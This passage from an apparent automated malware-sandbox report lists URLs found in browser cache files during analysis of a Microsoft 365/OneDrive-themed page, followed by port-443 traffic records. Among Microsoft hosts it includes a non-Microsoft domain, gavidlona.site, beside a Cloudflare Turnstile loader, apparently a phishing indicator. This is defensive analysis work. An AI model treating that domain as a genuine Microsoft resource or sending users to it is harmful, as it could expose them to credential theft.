engage.cloud.microsoft word.cloud.microsoft excel.cloud.microsoft powerpoint.cloud.microsoft *.officeapps.live.com *.office.com *.microsoft365.com m365.cloud.microsoft *.cloud.microsoft *.stream.azure-test.net *.microsoftstream.com *.dynamics.com *.microsoft.com onedrive.live.com *.onedrive.live.com securebroker.sharepointonline.com;SPRequestDuration: 69SPIisLatency: 3X-Powered-By: ASP.NE

Source: chromecache_2212.1.dr, chromecache_1538.1.dr, chromecache_2005.1.dr	String found in binary or memory: http://fb.me/use-check-prop-types
Source: chromecache_1911.1.dr	String found in binary or memory: http://linkless.header/
Source: chromecache_1697.1.dr, chromecache_1998.1.dr, chromecache_1981.1.dr	String found in binary or memory: http://www.contoso.com
Source: chromecache_2005.1.dr	String found in binary or memory: http://www.opensource.org/licenses/mit-license.php
Source: chromecache_1982.1.dr, chromecache_2187.1.dr, chromecache_2218.1.dr	String found in binary or memory: https://1drv.com/
Source: chromecache_1796.1.dr	String found in binary or memory: https://aka.ms/ODSPWebNucleusBugs
Source: chromecache_1796.1.dr	String found in binary or memory: https://aka.ms/ODSPWebNucleusInfo
Source: chromecache_1796.1.dr	String found in binary or memory: https://aka.ms/nucleusfx
Source: chromecache_1575.1.dr	String found in binary or memory: https://apps.test.powerapps.com/sdk/preload
Source: chromecache_1982.1.dr, chromecache_2187.1.dr, chromecache_2218.1.dr, chromecache_1847.1.dr	String found in binary or memory: https://centralus1-mediad.svc.ms
Source: chromecache_1744.1.dr, chromecache_1725.1.dr	String found in binary or memory: https://challenges.cloudflare.com/turnstile/v0/api.js?onload=onloadTurnstileCallback
Source: chromecache_2093.1.dr, chromecache_1619.1.dr, chromecache_1982.1.dr, chromecache_1761.1.dr, chromecache_1891.1.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/web/policies
Source: chromecache_1982.1.dr, chromecache_2218.1.dr	String found in binary or memory: https://esign.svc.cloud.dev.microsoft
Source: chromecache_1982.1.dr, chromecache_2218.1.dr	String found in binary or memory: https://esign.svc.cloud.microsoft
Source: chromecache_1930.1.dr, chromecache_1547.1.dr	String found in binary or memory: https://facebook.github.io/react/docs/more-about-refs.html#the-ref-callback-attribute
Source: chromecache_1661.1.dr	String found in binary or memory: https://feross.org
Source: chromecache_1661.1.dr	String found in binary or memory: https://feross.org/opensource
Source: chromecache_1744.1.dr, chromecache_1725.1.dr	String found in binary or memory: https://gavidlona.site/?ewvqvbmc
Source: chromecache_1724.1.dr	String found in binary or memory: https://github.com/uuidjs/uuid#getrandomvalues-not-supported
Source: chromecache_2005.1.dr	String found in binary or memory: https://github.com/webpack-contrib/style-loader#insertat)
Source: chromecache_1765.1.dr	String found in binary or memory: https://lists.live.com/
Source: chromecache_1982.1.dr, chromecache_2187.1.dr, chromecache_2218.1.dr	String found in binary or memory: https://livefilestore.com/
Source: chromecache_1661.1.dr	String found in binary or memory: https://localcdn.centro-dev.com:5555/floodgate.bundle.js.map
Source: chromecache_1798.1.dr	String found in binary or memory: https://loki.delve.office.com
Source: chromecache_1705.1.dr, chromecache_1885.1.dr, chromecache_1712.1.dr	String found in binary or memory: https://make.powerautomate.com
Source: chromecache_1705.1.dr, chromecache_1885.1.dr	String found in binary or memory: https://make.preprod.powerautomate.com
Source: chromecache_1705.1.dr, chromecache_1885.1.dr	String found in binary or memory: https://make.test.powerautomate.com
Source: chromecache_1796.1.dr	String found in binary or memory: https://manifestdwestus.cloudapp.net/api/manifest/method/list?project=
Source: chromecache_2226.1.dr, chromecache_1982.1.dr, chromecache_2187.1.dr, chromecache_2218.1.dr, chromecache_1847.1.dr, chromecache_1779.1.dr, chromecache_1787.1.dr	String found in binary or memory: https://media.cloudapp.net
Source: chromecache_2077.1.dr	String found in binary or memory: https://microsoft.spfx3rdparty.com
Source: chromecache_2226.1.dr, chromecache_1982.1.dr, chromecache_2187.1.dr, chromecache_2218.1.dr, chromecache_1779.1.dr, chromecache_1674.1.dr	String found in binary or memory: https://my.microsoftpersonalcontent.com
Source: chromecache_2226.1.dr, chromecache_1982.1.dr, chromecache_2187.1.dr, chromecache_2218.1.dr, chromecache_1847.1.dr, chromecache_1779.1.dr, chromecache_1787.1.dr	String found in binary or memory: https://northcentralus1-medias.svc.ms
Source: chromecache_2093.1.dr, chromecache_1761.1.dr	String found in binary or memory: https://office.visualstudio.com/OC/_git/M365AdminUX?path=%2Fmodules%2Fhvc-loader
Source: chromecache_2093.1.dr, chromecache_1761.1.dr	String found in binary or memory: https://office.visualstudio.com/OC/_workitems/edit/2364251
Source: chromecache_2226.1.dr, chromecache_2218.1.dr, chromecache_2144.1.dr	String found in binary or memory: https://onedrive.cloud.microsoft
Source: chromecache_2226.1.dr, chromecache_2218.1.dr, chromecache_2144.1.dr	String found in binary or memory: https://onedrive.dev.cloud.microsoft
Source: chromecache_1592.1.dr, chromecache_1674.1.dr	String found in binary or memory: https://onedrive.live.com
Source: chromecache_1921.1.dr, chromecache_1985.1.dr	String found in binary or memory: https://onedrive.live.com/?gologin=1
Source: chromecache_1796.1.dr	String found in binary or memory: https://onedrive.visualstudio.com/ODSP-Web/_wiki/wikis/ODSP-Web.wiki/118925/ODBC
Source: chromecache_1796.1.dr	String found in binary or memory: https://onedrive.visualstudio.com/ODSP-Web/_wiki/wikis/ODSP-Web.wiki/119795/Photos
Source: chromecache_1805.1.dr, chromecache_1705.1.dr, chromecache_2104.1.dr, chromecache_1552.1.dr, chromecache_2209.1.dr, chromecache_1761.1.dr, chromecache_1610.1.dr	String found in binary or memory: https://outlook.office.com/search
Source: chromecache_1613.1.dr	String found in binary or memory: https://outlook.office365.com
Source: chromecache_1613.1.dr	String found in binary or memory: https://outlook.office365.com/SchedulingB2/api/v1.0/me/findmeetinglocations
Source: chromecache_1982.1.dr, chromecache_2187.1.dr, chromecache_1660.1.dr, chromecache_2218.1.dr	String found in binary or memory: https://portal.office.com/
Source: chromecache_1766.1.dr	String found in binary or memory: https://reactjs.org/link/react-polyfills
Source: chromecache_2226.1.dr, chromecache_1982.1.dr, chromecache_1603.1.dr	String found in binary or memory: https://res-1-sdf.cdn.office.net
Source: chromecache_2226.1.dr, chromecache_1921.1.dr, chromecache_1982.1.dr, chromecache_1985.1.dr, chromecache_1603.1.dr	String found in binary or memory: https://res-1.cdn.office.net
Source: chromecache_1678.1.dr	String found in binary or memory: https://res-1.cdn.office.net/files/fabric-cdn-prod_20230815.002/assets
Source: chromecache_1921.1.dr, chromecache_1890.1.dr	String found in binary or memory: https://res-1.cdn.office.net/files/odsp-web-prod_2025-03-07.002/
Source: chromecache_1921.1.dr	String found in binary or memory: https://res-1.cdn.office.net/files/odsp-web-prod_2025-03-07.002/odblightspeedwebpack/154.js
Source: chromecache_1921.1.dr	String found in binary or memory: https://res-1.cdn.office.net/files/odsp-web-prod_2025-03-07.002/odblightspeedwebpack/17.js
Source: chromecache_1921.1.dr	String found in binary or memory: https://res-1.cdn.office.net/files/odsp-web-prod_2025-03-07.002/odblightspeedwebpack/20.js
Source: chromecache_1921.1.dr	String found in binary or memory: https://res-1.cdn.office.net/files/odsp-web-prod_2025-03-07.002/odblightspeedwebpack/22.js
Source: chromecache_1921.1.dr	String found in binary or memory: https://res-1.cdn.office.net/files/odsp-web-prod_2025-03-07.002/odblightspeedwebpack/29.js
Source: chromecache_1921.1.dr	String found in binary or memory: https://res-1.cdn.office.net/files/odsp-web-prod_2025-03-07.002/odblightspeedwebpack/30.js
Source: chromecache_1921.1.dr	String found in binary or memory: https://res-1.cdn.office.net/files/odsp-web-prod_2025-03-07.002/odblightspeedwebpack/38.js
Source: chromecache_1921.1.dr	String found in binary or memory: https://res-1.cdn.office.net/files/odsp-web-prod_2025-03-07.002/odblightspeedwebpack/417.js
Source: chromecache_1921.1.dr	String found in binary or memory: https://res-1.cdn.office.net/files/odsp-web-prod_2025-03-07.002/odblightspeedwebpack/56.js
Source: chromecache_1921.1.dr	String found in binary or memory: https://res-1.cdn.office.net/files/odsp-web-prod_2025-03-07.002/odblightspeedwebpack/en-us/initial.r
Source: chromecache_1921.1.dr	String found in binary or memory: https://res-1.cdn.office.net/files/odsp-web-prod_2025-03-07.002/odblightspeedwebpack/en-us/ondemand.
Source: chromecache_1921.1.dr	String found in binary or memory: https://res-1.cdn.office.net/files/odsp-web-prod_2025-03-07.002/odblightspeedwebpack/odblightspeedwe
Source: chromecache_1921.1.dr	String found in binary or memory: https://res-1.cdn.office.net/files/odsp-web-prod_2025-03-07.002/odblightspeedwebpack/plt.listviewdat
Source: chromecache_1890.1.dr	String found in binary or memory: https://res-1.cdn.office.net/files/odsp-web-prod_2025-03-07.002/stsserviceworkerprefetch/stsservicew
Source: chromecache_1791.1.dr, chromecache_1800.1.dr, chromecache_1890.1.dr	String found in binary or memory: https://res-1.cdn.office.net/files/odsp-web-prod_2025-03-14.003/
Source: chromecache_1890.1.dr	String found in binary or memory: https://res-1.cdn.office.net/files/odsp-web-prod_2025-03-14.003/spserviceworker.js
Source: chromecache_1791.1.dr, chromecache_1800.1.dr	String found in binary or memory: https://res-1.cdn.office.net/files/odsp-web-prod_2025-03-14.003/spwebworker.js
Source: chromecache_1921.1.dr	String found in binary or memory: https://res-1.cdn.office.net/files/sp-client/odsp-media-cabe04ec
Source: chromecache_1921.1.dr	String found in binary or memory: https://res-1.cdn.office.net/files/sp-client/odsp.1ds/odsp.1ds.lib-79dcca28
Source: chromecache_1921.1.dr	String found in binary or memory: https://res-1.cdn.office.net/files/sp-client/odsp.aria/odsp.aria.lib-ab227069
Source: chromecache_1921.1.dr	String found in binary or memory: https://res-1.cdn.office.net/files/sp-client/odsp.fluentui.core/fui.core-4528e53c
Source: chromecache_1921.1.dr	String found in binary or memory: https://res-1.cdn.office.net/files/sp-client/odsp.fluentui.core/fui.core-4528e53c.js
Source: chromecache_1921.1.dr	String found in binary or memory: https://res-1.cdn.office.net/files/sp-client/odsp.fluentui.utilities/fui.util-c3cf872d
Source: chromecache_1921.1.dr	String found in binary or memory: https://res-1.cdn.office.net/files/sp-client/odsp.fluentui.utilities/fui.util-c3cf872d.js
Source: chromecache_1921.1.dr	String found in binary or memory: https://res-1.cdn.office.net/files/sp-client/odsp.knockout/odsp.knockout.lib-447adea9
Source: chromecache_1921.1.dr	String found in binary or memory: https://res-1.cdn.office.net/files/sp-client/odsp.knockout/odsp.knockout.lib-447adea9.js
Source: chromecache_1921.1.dr	String found in binary or memory: https://res-1.cdn.office.net/files/sp-client/odsp.react/odsp.react.lib-9ea4d016
Source: chromecache_1921.1.dr	String found in binary or memory: https://res-1.cdn.office.net/files/sp-client/odsp.react/odsp.react.lib-9ea4d016.js
Source: chromecache_1921.1.dr	String found in binary or memory: https://res-1.cdn.office.net/files/sp-client/odsp.tslib/tslib-6a7224b3
Source: chromecache_1921.1.dr	String found in binary or memory: https://res-1.cdn.office.net/files/sp-client/odsp.tslib/tslib-6a7224b3.js
Source: chromecache_1921.1.dr	String found in binary or memory: https://res-1.cdn.office.net/files/sp-client/odsp.utilities/odsp.util-f15c1587
Source: chromecache_1921.1.dr	String found in binary or memory: https://res-1.cdn.office.net/files/sp-client/odsp.utilities/odsp.util-f15c1587.js
Source: chromecache_1796.1.dr	String found in binary or memory: https://res-2-sdf.cdn.office.net/files/
Source: chromecache_1921.1.dr	String found in binary or memory: https://res-2.cdn.office.net/files/odsp-web-prod_2025-03-07.002/
Source: chromecache_1855.1.dr	String found in binary or memory: https://res.cdn.office.net/admincenter/admin-main/2025.3.17.0/
Source: chromecache_1855.1.dr	String found in binary or memory: https://res.cdn.office.net/admincenter/admin-main/2025.3.17.0/floodgate.en.bundle.js
Source: chromecache_2045.1.dr	String found in binary or memory: https://res.cdn.office.net/fg2uxschema/be998278-ae33-41a3-a032-f8020d1a9379/0777467b-557e-461b-8e60-
Source: chromecache_1678.1.dr, chromecache_1641.1.dr	String found in binary or memory: https://res.cdn.office.net/teams-js/validDomains/json/validDomains.json
Source: chromecache_1911.1.dr, chromecache_2226.1.dr	String found in binary or memory: https://sharepoint.uservoice.com/forums/329214-sites-and-collaboration
Source: chromecache_1921.1.dr	String found in binary or memory: https://shell.cdn.office.net
Source: chromecache_1921.1.dr, chromecache_1890.1.dr	String found in binary or memory: https://shell.cdn.office.net/api/ShellBootstrapper/business/OneShell
Source: chromecache_2226.1.dr, chromecache_1982.1.dr, chromecache_1603.1.dr	String found in binary or memory: https://shellppe.msocdn.com
Source: chromecache_2226.1.dr, chromecache_1982.1.dr, chromecache_1603.1.dr	String found in binary or memory: https://shellprod.msocdn.com
Source: chromecache_1921.1.dr	String found in binary or memory: https://spoprod-a.akamaihd.net/files/odsp-common-library-prod_2019-02-15_20190219.002/require.js
Source: chromecache_1902.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/leelawadeeui-thai/leelawadeeui-bold.w
Source: chromecache_1902.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/leelawadeeui-thai/leelawadeeui-regula
Source: chromecache_1902.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/leelawadeeui-thai/leelawadeeui-semili
Source: chromecache_1902.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-arabic/segoeui-bold.woff
Source: chromecache_1902.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-arabic/segoeui-bold.woff2
Source: chromecache_1902.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-arabic/segoeui-light.woff
Source: chromecache_1902.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-arabic/segoeui-light.woff2
Source: chromecache_1902.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-arabic/segoeui-regular.woff
Source: chromecache_1902.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-arabic/segoeui-regular.woff2
Source: chromecache_1902.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-arabic/segoeui-semibold.woff
Source: chromecache_1902.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-arabic/segoeui-semibold.woff2
Source: chromecache_1902.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-arabic/segoeui-semilight.woff
Source: chromecache_1902.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-cyrillic/segoeui-bold.woff
Source: chromecache_1902.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-cyrillic/segoeui-bold.woff2
Source: chromecache_1902.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-cyrillic/segoeui-light.woff
Source: chromecache_1902.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-cyrillic/segoeui-light.woff2
Source: chromecache_1902.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-cyrillic/segoeui-regular.woff
Source: chromecache_1902.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-cyrillic/segoeui-semibold.wof
Source: chromecache_1902.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-cyrillic/segoeui-semilight.wo
Source: chromecache_1902.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-easteuropean/segoeui-bold.wof
Source: chromecache_1902.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-easteuropean/segoeui-light.wo
Source: chromecache_1902.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-easteuropean/segoeui-regular.
Source: chromecache_1902.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-easteuropean/segoeui-semibold
Source: chromecache_1902.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-easteuropean/segoeui-semiligh
Source: chromecache_1902.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-greek/segoeui-bold.woff
Source: chromecache_1902.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-greek/segoeui-bold.woff2
Source: chromecache_1902.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-greek/segoeui-light.woff
Source: chromecache_1902.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-greek/segoeui-light.woff2
Source: chromecache_1902.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-greek/segoeui-regular.woff
Source: chromecache_1902.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-greek/segoeui-regular.woff2
Source: chromecache_1902.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-greek/segoeui-semibold.woff
Source: chromecache_1902.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-greek/segoeui-semibold.woff2
Source: chromecache_1902.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-greek/segoeui-semilight.woff
Source: chromecache_1902.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-greek/segoeui-semilight.woff2
Source: chromecache_1902.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-hebrew/segoeui-bold.woff
Source: chromecache_1902.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-hebrew/segoeui-bold.woff2
Source: chromecache_1902.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-hebrew/segoeui-light.woff
Source: chromecache_1902.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-hebrew/segoeui-light.woff2
Source: chromecache_1902.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-hebrew/segoeui-regular.woff
Source: chromecache_1902.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-hebrew/segoeui-regular.woff2
Source: chromecache_1902.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-hebrew/segoeui-semibold.woff
Source: chromecache_1902.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-hebrew/segoeui-semibold.woff2
Source: chromecache_1902.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-hebrew/segoeui-semilight.woff
Source: chromecache_1902.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-vietnamese/segoeui-bold.woff
Source: chromecache_1902.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-vietnamese/segoeui-bold.woff2
Source: chromecache_1902.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-vietnamese/segoeui-light.woff
Source: chromecache_1902.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-vietnamese/segoeui-regular.wo
Source: chromecache_1902.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-vietnamese/segoeui-semibold.w
Source: chromecache_1902.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-vietnamese/segoeui-semilight.
Source: chromecache_1902.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-westeuropean/segoeui-bold.wof
Source: chromecache_1902.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-westeuropean/segoeui-light.wo
Source: chromecache_1902.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-westeuropean/segoeui-regular.
Source: chromecache_1902.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-westeuropean/segoeui-semibold
Source: chromecache_1902.1.dr	String found in binary or memory: https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-westeuropean/segoeui-semiligh
Source: chromecache_1982.1.dr, chromecache_2218.1.dr	String found in binary or memory: https://substrate.office.com
Source: chromecache_1908.1.dr, chromecache_1698.1.dr, chromecache_2168.1.dr	String found in binary or memory: https://support.office.com/en-us/article/Manage-lists-and-libraries-with-many-items-b8588dae-9387-48
Source: chromecache_1838.1.dr	String found in binary or memory: https://whiteboard.apps.mil
Source: chromecache_1838.1.dr	String found in binary or memory: https://whiteboard.office.com
Source: chromecache_1838.1.dr	String found in binary or memory: https://whiteboard.office.com/me/
Source: chromecache_1838.1.dr	String found in binary or memory: https://whiteboard.office365.us
Source: chromecache_1838.1.dr	String found in binary or memory: https://www.office.com/launch/fluid/content?drive=
Source: chromecache_1985.1.dr	String found in binary or memory: https://www.office.com/login?prompt=select_account&ru=%2Flaunch%2F$
Source: chromecache_1921.1.dr	String found in binary or memory: https://www.office.com/login?prompt=select_account&ru=%2Flaunch%2Fonedrive
Source: chromecache_1985.1.dr	String found in binary or memory: https://www.office.com/login?ru=%2Flaunch%2F$
Source: chromecache_1921.1.dr	String found in binary or memory: https://www.office.com/login?ru=%2Flaunch%2Fonedrive
Source: chromecache_1838.1.dr	String found in binary or memory: https://www.onenote.com/notes/

Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50489 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50194 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49699
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49698
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50188
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50189
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50486 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50134 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50191
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50192
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50194
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 50197 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50117
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50197
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50189 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50199
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50198
Source: unknown	Network traffic detected: HTTP traffic on port 50130 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50133 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50099 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50481
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 50198 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 50192 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50483
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50482
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50484
Source: unknown	Network traffic detected: HTTP traffic on port 50484 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50486
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50489
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50488
Source: unknown	Network traffic detected: HTTP traffic on port 50481 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 49699 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50098
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50130
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50133
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50099
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50134
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 50075 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50482 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
